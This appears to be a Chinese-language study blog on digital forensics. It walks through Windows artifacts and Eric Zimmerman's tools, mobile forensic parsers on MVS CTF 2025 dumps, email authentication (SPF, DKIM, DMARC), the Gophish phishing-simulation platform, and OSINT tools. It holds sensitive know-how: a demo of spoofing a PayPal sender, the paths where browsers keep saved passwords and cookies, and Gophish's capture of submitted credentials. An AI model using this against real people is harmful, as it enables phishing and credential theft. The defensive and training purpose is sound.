  • 在較新 Windows 版本（如 Windows 7 之後），部分 ShellBags 資料會存於 C:\Users\<username>\AppData\Local\Microsoft\Windows\UsrClass.dat
  • 在某些 Windows 版本或使用者設定中，部分 ShellBags 條目只存在於 UsrClass.dat 而非 NTUSER.DAT

如果直接使用 RegistryExplorer 會很難閱讀，建議使用 Eric Zimmerman’s tools 中的 ShellBags Explorer 查看

Prefetch

位置：%WinDir%\prefetch

Prefetch（.pf）是 Windows 為了加速程式啟動而維護的快取檔案。系統會在 %WinDir%\prefetch 路徑下為執行過的可執行檔建立 .pf 檔，裡面包含：

  1. 執行時間戳：Windows 8 以後的 Prefetch 能記錄多達 8 個執行時間點，可用來建立事件時間線，另外 Prefetch 的時間戳在精確到秒時通常要減掉 10 秒，在做精細時間對帳時要留意此差異，參考網址。
  2. Run count：表示該程式被執行了多少次。
  3. 可執行檔名稱與路徑：指出實際被執行的檔案與來源路徑，對判斷惡意軟體的落點很重要。
  4. 程式啟動時存取過的檔案清單：有時會列出其他被呼叫或載入的 DLL、路徑，可用來找出程式的行為鏈，例如開啟哪些檔。
  5. volume / system info、執行檔雜湊等元資料：可用來確認是在哪個 volume / 機器上被執行

檔名通常會長得像 PROGRAM.EXE-XXXXXXXX.pf，後面的 8 字元為路徑雜湊，用來區分相同名稱但路徑不同的執行檔。

為了讀取裡面的資料，可以使用 Eric Zimmerman’s tools 當中的 PECmd 轉換成 CSV 檔

Shimcache

位置：

紀錄系統曾「看過/存取」的可執行檔資訊，但不保證不一定執行，更新的時間是寫入 Register 的時間，通常是關機/重啟時，

紀錄的是檔案修改時間 Last Modify Time ，

會有一個 Cache Entry ，數字越大代表越早出現，這樣可以知道有哪些程式比惡意程式更早或更晚出現

BAM/DAM

Windows 10+ 用於管理背景應用程式資源使用機制，紀錄程式最後執行時間與完整路徑

  • 快速確認程式最近一次執行時間

SRUM

路徑：C:\windows\system32\sru\SRUDB.dat

  • 紀錄這隻程式使用了多少網路流量

注意資料約每 60 分鐘更新一次，不是即時紀錄

PSReadLine

路徑：C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt

Powershell 命令歷史紀錄，檔案為純文字，紀錄使用者之前下過的 powershell 指令

工具：

  • AutoSpy

  • R-studio

    • $MFT viewer

  • NTFS Log Tracker

    NTFS Log Tracker 是一款專門用來解析 NTFS 上 $LogFile 和 UsnJrnl:$J 的工具。 它可以從交易日誌與變更日誌中挑出檔案／目錄操作的記錄。

    填上對應檔案的路徑

    按下右上角的 Parse 之後會先把資料都儲存成一個 DB，這邊幫它取名以及輸出的路徑

    選擇好後就會開始進行分析

    結束後就會出現 $LogFile 以及 UsnJrnl:$J 的內容

    另外也可以把它們匯出成 CSV 檔案

    同樣可以使用 Timeline Explorer 或者其他查看 CSV 檔案的軟體查看

Eric Zimmerman’s Tools

  • MFTECmd

    MFTECmd 是由數位鑑識專家 Eric Zimmerman 開發的 Windows command-line 工具，

    用來解析 NTFS 檔案系統中由 $MFT 與其衍生紀錄，例如：

    • $MFT
    • $LogFile
    • $UsnJrnl
    • $Boot
    • $Secure
    • $Extend\$UsnJrnl
    • $I30

    並將其轉成 CSV 檔案

    首先找到要鑑識的目錄，並提取其 $I30 內容

    接下來下指令將它轉換成 CSV 檔案

    轉換後可以使用 Timeline Explorer 或者其他查看 CSV 檔案的軟體查看

  • SIDR

    • windows Search Index Database Reporter
    • detect the delete file

  • shellbagsexplorer

    ShellBags Explorer 是由 Eric Zimmerman 所開發的一款專門用來瀏覽與解析 Windows ShellBags 資料的工具，將 BagMRU / Bags 的註冊表資料解析為資料夾層級樹狀視圖，可以看到使用者曾瀏覽過哪些資料夾

    它的介面跟 RegistryExplorer 差不多，一樣需要匯入 hive，看作業系統版本匯入 NTUSER.DAT 或者 UsrClass.dat

    匯入後就可以看到 ShellBags 資訊

  • LECmd

    • to see link file
      LECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts" --csvf lnk.csv --csv "C:\Users\Administrator\Desktop\lnk-files"

  • jumpLists Explorer

  • USB Forensics tracker

  • WxTCMD

    • analyze timeline data base to csv file
    • “C:\Users\ \AppData\Local\ConnectedDevicesPlatform\L.\ActivitiesCache.db”

  • RegistryExplorer

    另外有時候匯入 Hive 時會出現這樣的警告

    此警告表示主 hive 檔案與其 transaction logs (.LOG) 的序號不一致，代表 transaction log 中存在尚未同步到主檔案的變更。

    Windows Registry 採用 write-ahead logging 機制：修改時先寫入記憶體快取，再記錄到 transaction log，最後才定期 flush 到主 hive 檔案。而當 log 檔案的序號大於主檔案時，這個 hive 就會被稱為 Dirty Hive

    按下 Yes 之後就會開始進行與 transaction logs 的合併

    選擇 transaction logs

    選擇後它就會幫你合併，合併完後先儲存到一個地方

    存完後就可以看這個合併過後的 Hive

    Registry Explorer 工具除了可以查看之外它還有預設書籤可以使用，快速定位到想要看的 key

  • WinPrefetchView

  • SrumECmd

  • AmcacheParser

    AmcacheParser 是由數位鑑識專家 Eric Zimmerman 所開發的一款命令列工具，專門用於解析 Windows 系統中的 Amcache.hve 註冊檔，支援將解析結果輸出為 CSV 格式，方便後續分析與處理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    PS C:\Users\yunshiuan\Desktop\net9 > .\AmcacheParser.exe -f C:\Users\yunshiuan\Desktop\Amcache.hve_clean --csv C:\Users\yunshiuan\Desktop
    AmcacheParser version 1.5.2.0

    Author: Eric Zimmerman (saericzimmerman@gmail.com)
    https://github.com/EricZimmerman/AmcacheParser

    Command line: -f C:\Users\yunshiuan\Desktop\Amcache.hve_clean --csv C:\Users\yunshiuan\Desktop

    Warning: Administrator privileges not found!

    Unknown value name when processing DevicePnp at path {11517B7C-E79D-4e20-961B-75A811715ADD}\Root\InventoryDevicePnp\display/default_monitor/1&1f0c3c2f&0&uid256: ManifestPath

    C:\Users\yunshiuan\Desktop\Amcache.hve_clean is in new format!

    Total file entries found: 240
    Total shortcuts found: 51
    Total device containers found: 13
    Total device PnPs found: 94
    Total drive binaries found: 373
    Total driver packages found: 4

    Found 123 unassociated file entry

    Results saved to: C:\Users\yunshiuan\Desktop

    Total parsing time: 0.909 seconds

    它的輸出會有很多 CSV 檔，可能會出現下面檔案

    Amcache_ProgramEntries.csv程式條目（Programs Entry）描述註冊在 Amcache “Programs” 分支下的應用程式資訊，如安裝資訊或註冊的程式條目。
    Amcache_AssociatedFileEntries.csv關聯的檔案條目指那些能夠被對應（或關聯）到程式條目的檔案條目（File entries）。即那些被安裝程式所擁有或管理的檔案。
    Amcache_UnassociatedFileEntries.csv無關聯的檔案條目指那些沒有被關聯到任何程式條目的檔案條目，也就是那些孤立的可執行檔 / 檔案。這是很多調查中重點查看的部分，因為可能是惡意工具或獨立執行檔。
    Amcache_Shortcuts.csv快捷方式 / 連結資訊描述系統或應用程式捷徑（.lnk 或類似連結）相關的資訊，例如快捷目標、路徑等。
    Amcache_DeviceContainers.csv裝置容器 (Device Container)與裝置（例如 USB 裝置、硬體裝置）或其容器有關的條目。
    Amcache_DevicePnps.csv裝置 PnP 條目 (Plug-and-Play 裝置)描述插拔裝置 (PnP 裝置) 的資訊，例如硬體 ID、裝置名稱、相關時間等。
    Amcache_DriveBinaries.csv驅動程式二進位檔涉及驅動程式（driver binaries）或在磁碟上可執行但屬驅動程式範疇的條目。
    Amcache_DriverPackages.csv驅動套件 (Driver Packages)關於驅動程式套件安裝、驅動套件版本、封裝資訊等。

    接下來就可以用 Timeline Explorer 或者其他可以查看 CSV 檔的程式查看內容

    假設想要知道 notepad.exe 的實際路徑以及它的 SHA-1 值，按照上面的步驟並在 <XXX_UnassociatedFileEntries.csv> 搜尋 notepad.exe

    可以馬上就看到相關資訊

  • PECmd

    PECmd 是由 Eric Zimmerman 開發的一個命令行工具，它的目的是解析 Windows 的 Prefetch 檔案（.pf），抽取其中的 metadata（如執行時間戳、執行次數、被參照的檔案清單等），以便用於鑑識分析

    有一個很方便的功能是可以使用以下指令批量處理 Prefetch 裡面的所有檔案，並把它們合成一個 CSV 檔

    1
    .\PECmd.exe -d C:\Users\yunshiuan\Desktop\The_Enduring_Echo\C\Windows\prefetch --csv "C:\Users\yunshiuan\Desktop\output"

    如果想要單獨轉換某個 .pf 檔的話可以使用 -f

    接下來就會在 output 中出現轉換好的 CSV 檔

    可以使用 Timeline Explorer 或者其他查看 CSV 檔的軟體查看

    假設我想要知道 cmd.exe 執行了幾次，直接按照剛剛的步驟並搜尋 cmd.exe，發現它執行了 26 次

Zone Identifier

當從瀏覽器（如 Edge、Chrome、IE）下載檔案時，Windows 會建立一個 NTFS 區段資料（ADS） 來記錄檔案來源，例如：

1
2
3
4
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com
HostUrl=https://example.com/download/file.exe

這通常儲存在 Zone.Identifier 流裡。

要查看可以從FTK imager 中點擊下載的檔案看有沒有附加的Zone.Identifier

瀏覽器紀錄

Windows 系統中，應用程式的使用者資料通常儲存在 AppData 目錄下：

1
2
3
4
C:\Users\<username>\AppData\
├── Local\
├── Roaming\        
└── LocalLow\
  • Local : 儲存大容量，臨時或易刪除的資料
  • Roaming : 跨裝置同步資料，會跟著使用者帳戶移動到其他電腦
  • LocalLow：與 Local 類似，但是應用程式被授予的權限較低

以下介紹一些常用的瀏覽器的資料儲存位置以及可以分析的檔案

Google Chrome

位置： C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default

1
2
3
4
5
6
7
8
9
10
11
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\
├── History               # 瀏覽歷史和下載記錄
├── Network\Cookies       # Cookie 資料
├── Login Data            # 儲存的密碼
├── Web Data              # 自動填入資料
├── Bookmarks             # 書籤
├── Preferences           # 使用者偏好設定
├── Cache\                # 快取資料
├── Local Storage\        # 本地儲存
├── Session Storage\      # 會話儲存
└── IndexedDB\            # 索引資料庫

Microsoft Edge

位置： C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default

1
2
3
4
5
6
7
8
9
10
C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\
├── History               # 瀏覽歷史和下載記錄
├── Cookies               # Cookie 資料
├── Login Data            # 儲存的密碼
├── Web Data              # 自動填入資料
├── Preferences           # 使用者偏好設定
├── Cache\                # 快取資料
├── Local Storage\        # 本地儲存
├── Session Storage\      # 會話儲存
└── IndexedDB\            # 索引資料庫

Mozilla Firefox

位置： C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>

<profile> 常常會以xxxx.default-release 表示

1
2
3
4
5
6
7
8
9
C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\
├── places.sqlite        # 瀏覽歷史、書籤、下載記錄
├── cookies.sqlite       # Cookie 資料
├── logins.json          # 儲存的密碼
├── formhistory.sqlite   # 表單歷史
├── permissions.sqlite   # 網站權限
├── prefs.js            # 使用者偏好設定
├── user.js             # 使用者自訂設定
└── storage\            # 本地儲存

有些檔案會是 SQLite 儲存的，這邊推薦一個 GUI 應用程式可以查看 SQLite 資料庫內的內容：DB Browser for SQLite

DB Browser for SQLite

下載連結：https://sqlitebrowser.org/

DB Browser for SQLite 是一款開源的、跨平台的視覺化 SQLite 資料庫管理工具。它讓使用者不用深入指令列就能開啟、瀏覽、查詢、修改 SQLite 資料庫檔案。它支援標準的 SQLite 檔案（.sqlite, .db, .sqlite3 等），也支援匯入／匯出 CSV、SQL dump 等格式

假設我要查看使用者在 Google Chrome 的瀏覽與下載紀錄

首先先把 C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\History dump 下來

然後開啟 DB Browser for SQLite，將剛剛 dump 下來的 history 資料丟進 DB Browser for SQLite 內

下面可以看到資料庫內的 Table，如果想要看裡面的資料就點選瀏覽資料的頁面

如果是要看瀏覽記錄就選擇 urls，如果要看下載紀錄的話就看 downloads Table

Acquision

  • Dumpit.exe
    • windows memory image
  • LiME
    • Linux memory image
  • EDD
    • check disk wheather has been encrypted
  • KAPE
    • triage image
  • CyLR
    • inux triage image

if windwos memory dead Acquision

  • hiberfil.sys C:/

  • pagefile.sys C:/

Android

ALEAPP

下載連結：

ALEAPP : https://github.com/abrignoni/ALEAPP

是由 Alexis Brignoni 開發的一個開源工具，用來做 Android 裝置的 證據檔案分析（forensic artifacts parsing）。其目的在於整理 Android 裝置中常見的 log、事件、Protobuf（如 Google Play Services 或其他使用 Protobuf 的 apps）等資料，協助數位鑑識與 incident response 調查人員快速取出與分析有用資料。

今天的Android 的 dumpfiles 會以今年初剛結束的 MVS CTF 2025 中的Android 分類來分享

下載連結 ： https://drive.google.com/file/d/1Ay-T4kE8J3NX-XLh0krarFvE9j8SK_LT/view

這個連結下載會給一個Android 手機的 data 資料夾內容，並且是壓縮過後的。

這邊可以分享一下在Android 11 後，沒有 root 的權限是沒有辦法去存取到 data 資料夾的，因此會需要一些第三方的工具才可以把它 dump 下來。

我的猜測，這個 dump 的製作是使用一個Magisk 工具安裝到裝置上，這個工具可以讓你獲得到 root 權限並無需修改系統分區，參考連結

ALEAPP 只支援 tar/zip/gz 檔案，因此我是先從連結上下載後解壓再重新壓縮成 zip 一次

得到檔案之後就可以丟給 ALEAPP，上面是填題目給的檔案，下面是選它產生的分析結果要輸出到哪裡的資料夾

下面的 Module 可以全選

接下來按左下角的 Process 它就會開始做分析，分析完之後它會在你跟剛剛填的路徑下新增一個資料夾

這些就是它將分析的結果轉成 HTML，類似生成一個報告，主要的頁面會在 index.html，點開之後會進入到這個頁面

之後就可以開始去翻有沒有什麼可疑的東西

其中的功能很多，這邊介紹其中一部分的內容

Home page

首頁就會顯示一些手機的名稱、SIM卡資訊等等

APP

APP Icons

這邊可以查看使用者在裝置上安裝了什麼app

Packages

它會解析 packages.xml，記錄了裝置上安裝過的所有套件（應用程式），包含：

•系統應用（隨 ROM 出廠）

•OEM 廠商附加應用

•使用者自行安裝的應用（例如從 Google Play Store、adb sideload 等）

Bluetooth

Bluetooth Adapter Information

這邊可以看到藍牙的一些設定

Bluetooth Connections

這邊可以看藍牙裝置連線紀錄

IOS

ILEAPP

下載連結： https://github.com/abrignoni/iLEAPP

iLEAPP 是 Alexis Brignoni 開發的開源工具，用來解析 iOS 裝置（與備份）中的日誌、事件與 plist 等常見鑑識 artefacts，協助快速整理出可供鑑識與調查的資訊。此工具可以快速 triage iOS 欄位：例如系統與應用 logs、通知（notifications）、build / 設備資訊、行動網路資料、應用狀態資料庫（ApplicationState.db）等，將原始檔案轉成可讀的表格/HTML 報告或 timeline，便於調查人員閱讀與分析

今天的IOS 的 dumpfiles 檔會以今年初剛結束的 MVS CTF 2025 檔中的 IOS 分類來分享

檔案下載網址：https://drive.google.com/drive/folders/1yaMc--Va2u2IJzQKci4yBaeftjDGRDya

網址下載下來後應該會是iOS 系統的Applications、private、System 資料夾的壓縮檔

將下載的檔案丟給iLEAPP，上面是填題目給的檔案，下面是選他產生的分析結果要輸出到哪裡的資料夾

下面的Module可以全選

接下來按左下角的 Process 程式就會開始分析

結束之後會產生分析的結果並產生html，

報告的主頁會產生在_HTML 底下的 index.html 打開之後會出現這樣的頁面

之後就可以在左側的功能列翻想要尋找的東西。

這邊介紹幾個我覺得比較特別的分析結果

Home Page

在首頁的Device details 中有顯示裝置基本資訊（型號、序號、iOS 版本）

Keyboard Usage Stats

這邊會顯示

  • tium.totalWordsTyped → 使用者總共輸入的字數
  • tium.totalWordsFromCandidateBar → 從鍵盤候選列選字的次數
  • tium.totalWordsAutocorrected → 自動更正的字數

Itunes Metadata

Itunes Metadata 這邊會列出一些裝置上安裝的APP

Email Security

一個 Email 帳號的組成，會由一個小老鼠@ 將左右隔開

  • 左半部分是依照使用者設定的字串，因此可以取名為aaaabbbccc123 、 admin 、me 皆可
  • 右半部分是組織的 Domain Name，像是常見的 gmail.com；如果自己有架設 Email Server，就會是自己的 domain，如：yunshiuan.com

source: https://flickr.com/photos/jameschen1/24160994516/

到這邊就會有一個偽造正常信件的方式：如果攻擊者註冊了一個與正常組織幾乎相同、只差一個字的 domain，甚至直接冒用正常組織的 Domain Name 來欺騙使用者，只要使用者一個不注意就可能把它當成正常信件而被釣到，這個攻擊被稱為 Email Spoofing

Email Spoofing

攻擊者會試圖使用與常見組織相似或相同的 email 欺騙使用者認為是正常郵件。

ex : 可以透過 這個網頁 偽造 Email 傳給使用者，這邊將 Email 偽造成support@paypal.com 並傳一封帳號異常的信給使用者

那這樣只單看 Email 是很難分辨是否為釣魚信件，所以會透過郵件驗證協定 DMARC 來偵測郵件偽造攻擊。

DMARC

DMARC 是一種郵件驗證協定，它讓郵件網域擁有者能聲明當收到未通過驗證的郵件時該如何處理。

我在 demo 時寄到我個人的信箱，使用 Cloudflare 的 Email Routing 功能轉發郵件；因此當我把釣魚信寄到自己的信箱時，因未通過 DMARC 驗證而被拒收。

如果DMARC 驗證通過的話會像下方圖示的一樣。

可以看到主要的驗證方式會使用到 SPF 以及 DKIM。

SPF

SPF 是一種電子郵件驗證協定，它讓網域擁有者能夠指定哪些郵件伺服器有權代表該網域寄送郵件。這份「授權清單」會以 DNS TXT 記錄 的形式公開發布，接收方的郵件伺服器則可在收信時檢查寄件伺服器是否被授權，以判斷郵件是否可信。

可以使用 dig 指令查看 SPF

1
2
$ dig yunshiuan.com  TXT | grep spf
yunshiuan.com.377INTXT"v=spf1 include:_spf.mx.cloudflare.net ~all"
  • v=spf1：指定 SPF 協定版本
  • include:_spf.mx.cloudflare.net：授權清單由 Cloudflare 維護
  • ~all：非授權來源標記為 SoftFail（可疑）
    （若設定 -all 則代表 Fail，非授權來源應被拒絕）

DKIM

DKIM 是電子郵件驗證機制之一，讓收件方可以驗證一封郵件是否真正由該網域授權寄出，並確認郵件在傳送過程中是否被篡改；它透過數位簽章機制實現。寄件方使用私鑰對郵件內容進行簽名，收件方則從 DNS 查出對應的公鑰來驗證。

DKIM 的公鑰會被發布在 DNS TXT 紀錄中，格式如下：

1
<selector>._domainkey.<domain>

以 Cloudflare 舉例，它的 selector 是 cf2024-1，查詢 DKIM 也可使用 dig 指令

1
2
$ dig cf2024-1._domainkey.yunshiuan.com TXT | grep DKIM
cf2024-1._domainkey.yunshiuan.com. 377 IN TXT"v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiweykoi+o48IOGuP7GR3X0MOExCUDY/BCRHoWBnh3rChl7WhdyCxW3jgq1daEjPPqoi7sJvdg5hEQVsgVRQP4DcnQDVjGMbASQtrY4WmB1VebF+RPJB2ECPsEDTpeiI5ZyUAwJaVX7r6bznU67g7LvFq35yIo4sdlmtZGV+i0H4cpYH9+3JJ78k" "m4KXwaf9xUJCWF6nxeD+qG6Fyruw1Qlbds2r85U9dkNDVAS3gioCvELryh1TxKGiVTkg4wqHTyHfWsp7KD3WQHYJn0RyfJJu6YEmL77zonn7p2SRMvTMP3ZEXibnC9gz3nnhR6wcYL8Q7zXypKTMD58bTixDSJwIDAQAB"

總結來說 DMARC 驗證流程會是：接收方收到郵件後，先檢查 SPF 和 DKIM 認證，再根據 DMARC 政策決定郵件的處理方式（放行、隔離或拒絕）。

DMARC 記錄可以在 _dmarc.<domain> 找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ dig _dmarc.any.run TXT                                                                             


; <<>> DiG 9.10.6 <<>> _dmarc.any.run TXT
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31385
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4095
;; QUESTION SECTION:
;_dmarc.any.run.INTXT

;; ANSWER SECTION:
_dmarc.any.run.377INTXT"v=DMARC1; p=quarantine; sp=quarantine;"

;; Query time: 226 msec
;; SERVER: 100.100.100.100#53(100.100.100.100)
;; WHEN: Thu Oct 09 20:09:24 CST 2025
;; MSG SIZE  rcvd: 94
  • v=DMARC1 : DMARC 版本
  • p=quarantine : 主要政策，對主域名認證失敗的郵件進行隔離
  • sp=quarantine : 子域名政策，對子域名認證失敗的郵件也進行隔離

Gophish

下載連結：https://github.com/gophish/gophish/releases

Gophish 是一個開源的釣魚模擬平台，用於進行社交工程演練，可以快速建立和發送釣魚郵件，追蹤點擊率和提交率，幫助組織測試員工的資安意識並提供教育訓練。

source : https://ui-code.com/archives/779

安裝很簡單，將 ZIP 下載之後執行裡面的執行檔就能架起

如果要遠端也可以登入admin 介面，要去config.json 將admin 網址改成0.0.0.0:3333

若要遠端也能登入 Admin 介面，請在 config.json 將 Admin 位址改成 0.0.0.0:3333

架起來後會給你帳號密碼，網頁進入0.0.0.0:3333後登入就可以開始使用了

裡面的功能非常豐富，包括

  • 活動管理: 建立/排程釣魚活動，指定目標群組、郵件模板、登入頁與寄件設定，並即時監控結果。
  • 目標群組: 管理收件人清單，支援手動新增與 CSV 匯入。
  • 郵件模板: 視覺化編輯與變數插入（如 {{.FirstName}}），可預覽與測試寄送。
  • 登入頁: 匯入/客製 HTML，選擇是否擷取提交資料，支援點擊後/提交後導向。
  • 寄件設定: 設定 SMTP（主機、帳密、TLS/SSL、自訂寄件者/標頭），支援測試連線。
  • 即時追蹤: 記錄寄送、開啟、點擊、提交資料（含 IP、User-Agent）；可選「回報」事件。
  • 儀表板與報表: 活動概況、成效趨勢，結果支援 CSV 匯出。
  • REST API: 提供完整 API 以自動化建立活動、上傳模板/名單、擷取結果。
  • 網域與證書: 自訂追蹤/寄送網域與 TLS 憑證配置，提升可信度與達投遞率。

source : https://ui-code.com/archives/779

OSINT

WaybackMachine

網站連結：http://web.archive.org/

這個網站是由 Internet Archive 維護的一個線上服務。它可以定期將網站的網頁內容 snapshot 存檔，讓人們能夠查看某個網站在過去不同時間點的樣子

例如我想要看一下 https://yunshiuan.com/ 網站之前的樣子，就可以將網址輸入進去後看看。

發現它在 8/15 有被打了一個 snapshot，點進去看看後就可以看到在 8/15 這個網頁時的樣子

Recon-ng

下載方式

1
apt-get update && apt-get install recon-ng

Recon-ng 是一個用 Python 寫成、以模組化、指令列互動介面為設計的 OSINT 收集框架。它把各類資訊收集功能（DNS、WHOIS、搜尋引擎、API 查詢等）包成「模組」，用戶可以在工作區（workspace）中逐步執行、存檔與匯出調查結果

Recon-ng 的 tutorial 連結： https://hackertarget.com/recon-ng-tutorial/

整體的操作會類似於 Metasploit，一樣會先引入模組，設定參數然後執行

直接執行 recon-ng 後可以使用 marketplace search 查看有什麼可以用的 modules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
$ [recon-ng][default] > marketplace search

  +--------------------------------------------------------------------------------------------------+
  |                        Path                       | Version |     Status    |  Updated   | D | K |
  +--------------------------------------------------------------------------------------------------+
  | discovery/info_disclosure/cache_snoop             | 1.1     | not installed | 2020-10-13 |   |   |
  | discovery/info_disclosure/interesting_files       | 1.2     | not installed | 2021-10-04 |   |   |
  | exploitation/injection/command_injector           | 1.0     | not installed | 2019-06-24 |   |   |
  | exploitation/injection/xpath_bruter               | 1.2     | not installed | 2019-10-08 |   |   |
  | import/csv_file                                   | 1.1     | not installed | 2019-08-09 |   |   |
  | import/list                                       | 1.1     | not installed | 2019-06-24 |   |   |
  | import/masscan                                    | 1.0     | not installed | 2020-04-07 |   |   |
  | import/nmap                                       | 1.1     | not installed | 2020-10-06 |   |   |
  | recon/companies-contacts/bing_linkedin_cache      | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/companies-contacts/censys_email_address     | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/companies-contacts/pen                      | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/companies-domains/censys_subdomains         | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/companies-domains/pen                       | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/companies-domains/viewdns_reverse_whois     | 1.1     | not installed | 2021-08-24 |   |   |
  | recon/companies-domains/whoxy_dns                 | 1.1     | not installed | 2020-06-17 |   | * |
  | recon/companies-multi/censys_org                  | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/companies-multi/censys_tls_subjects         | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/companies-multi/github_miner                | 1.1     | not installed | 2020-05-15 |   | * |
  | recon/companies-multi/shodan_org                  | 1.1     | not installed | 2020-07-01 | * | * |
  | recon/companies-multi/whois_miner                 | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/contacts-contacts/abc                       | 1.0     | not installed | 2019-10-11 | * |   |
  | recon/contacts-contacts/mailtester                | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/contacts-contacts/mangle                    | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/contacts-contacts/unmangle                  | 1.1     | not installed | 2019-10-27 |   |   |
  | recon/contacts-credentials/hibp_breach            | 1.2     | not installed | 2019-09-10 |   | * |
  | recon/contacts-credentials/hibp_paste             | 1.1     | not installed | 2019-09-10 |   | * |
  | recon/contacts-domains/censys_email_to_domains    | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/contacts-domains/migrate_contacts           | 1.1     | not installed | 2020-05-17 |   |   |
  | recon/contacts-profiles/fullcontact               | 1.1     | not installed | 2019-07-24 |   | * |
  | recon/credentials-credentials/adobe               | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/credentials-credentials/bozocrack           | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/credentials-credentials/hashes_org          | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/domains-companies/censys_companies          | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/domains-companies/pen                       | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/domains-companies/whoxy_whois               | 1.1     | not installed | 2020-06-24 |   | * |
  | recon/domains-contacts/hunter_io                  | 1.3     | not installed | 2020-04-14 |   | * |
  | recon/domains-contacts/metacrawler                | 1.1     | not installed | 2019-06-24 | * |   |
  | recon/domains-contacts/pen                        | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/domains-contacts/pgp_search                 | 1.4     | not installed | 2019-10-16 |   |   |
  | recon/domains-contacts/whois_pocs                 | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-contacts/wikileaker                 | 1.0     | not installed | 2020-04-08 |   |   |
  | recon/domains-domains/brute_suffix                | 1.1     | not installed | 2020-05-17 |   |   |
  | recon/domains-hosts/binaryedge                    | 1.2     | not installed | 2020-06-18 |   | * |
  | recon/domains-hosts/bing_domain_api               | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/domains-hosts/bing_domain_web               | 1.1     | not installed | 2019-07-04 |   |   |
  | recon/domains-hosts/brute_hosts                   | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/builtwith                     | 1.1     | not installed | 2021-08-24 |   | * |
  | recon/domains-hosts/censys_domain                 | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/domains-hosts/certificate_transparency      | 1.3     | not installed | 2019-09-16 |   |   |
  | recon/domains-hosts/google_site_web               | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/hackertarget                  | 1.1     | installed     | 2020-05-17 |   |   |
  | recon/domains-hosts/mx_spf_ip                     | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/netcraft                      | 1.1     | not installed | 2020-02-05 |   |   |
  | recon/domains-hosts/shodan_hostname               | 1.1     | not installed | 2020-07-01 | * | * |
  | recon/domains-hosts/spyse_subdomains              | 1.1     | not installed | 2021-08-24 |   | * |
  | recon/domains-hosts/ssl_san                       | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/threatcrowd                   | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/threatminer                   | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-vulnerabilities/ghdb                | 1.1     | not installed | 2019-06-26 |   |   |
  | recon/domains-vulnerabilities/xssed               | 1.1     | not installed | 2020-10-18 |   |   |
  | recon/hosts-domains/migrate_hosts                 | 1.1     | not installed | 2020-05-17 |   |   |
  | recon/hosts-hosts/bing_ip                         | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-hosts/censys_hostname                 | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/hosts-hosts/censys_ip                       | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/hosts-hosts/censys_query                    | 2.1     | not installed | 2022-01-31 | * | * |
  | recon/hosts-hosts/ipinfodb                        | 1.2     | not installed | 2021-08-24 |   | * |
  | recon/hosts-hosts/ipstack                         | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-hosts/resolve                         | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-hosts/reverse_resolve                 | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-hosts/ssltools                        | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-hosts/virustotal                      | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-locations/migrate_hosts               | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-ports/binaryedge                      | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-ports/shodan_ip                       | 1.2     | not installed | 2020-07-01 | * | * |
